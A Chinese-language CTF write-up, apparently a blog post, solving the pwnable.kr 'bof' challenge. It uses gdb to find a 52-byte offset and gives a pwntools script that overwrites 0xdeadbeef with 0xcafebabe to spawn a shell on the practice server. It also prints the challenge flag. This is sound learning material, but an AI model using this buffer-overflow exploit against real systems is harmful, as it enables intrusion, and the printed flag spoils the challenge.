pwnable.kr第三題:bof

pwnable.kr

下載

先將bofbof.c下載下來,先檢查下 bof開啟的保護(hù)

是真的嚇到,基本能開的都開了,但是轉(zhuǎn)念一想,入門級別沒有那么惡心人吧,然后看看源代碼

發(fā)現(xiàn),只是要將傳入的0xdeadbeef通過棧溢出換成0xcafebabe,而且在程序里面已經(jīng)有調(diào)用system("/bin/sh")的語句,只要替換成功就能調(diào)用,那這些保護(hù)基本也沒什么意義嘛。

gdb調(diào)試

繼續(xù)單步,輸入AAAAAAAA,之后x/30x $esp查看??臻g

AASCLL值為41,可以看出,我們要覆蓋的地址與輸入地址相差52個字節(jié).

Exp

from pwn import *

r = remote('pwnable.kr','9000')

buf = 52 * 'A'
buf += p32(0xcafebabe)

r.sendline(buf)

r.interactive()

運(yùn)行下

flag =daddy, I just pwned a buFFer :)

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 0x01 fd 文件描述符 0、1、2分別代表標(biāo)準(zhǔn)輸入、標(biāo)準(zhǔn)輸出和標(biāo)準(zhǔn)錯誤,所以輸入0x1234的十進(jìn)制值,再次...
    Nevv閱讀 6,013評論 0 6
  • pwnable.kr bof 同樣的,既然有源代碼。我們就配合著源代碼來做題,這樣可能更利于搞懂高級語言被反匯編之...
    CodeRambler閱讀 423評論 0 0
  • 目錄 1.解釋self = [super init]方法 容錯處理,當(dāng)父類初始化失敗,會返回一個nil,表示初始化...
    勇敢的_心_閱讀 1,548評論 0 4
  • 0x01 Start checksec 的時候可以看到程序沒有打開任何的安全保護(hù)措施,然后查看IDA下的匯編代碼,...
    Nevv閱讀 1,755評論 0 2
  • 1、文件和目錄: # cd /home 進(jìn)入 '/home' 目錄 # cd .. ...
    XDgbh閱讀 2,144評論 0 1

友情鏈接更多精彩內(nèi)容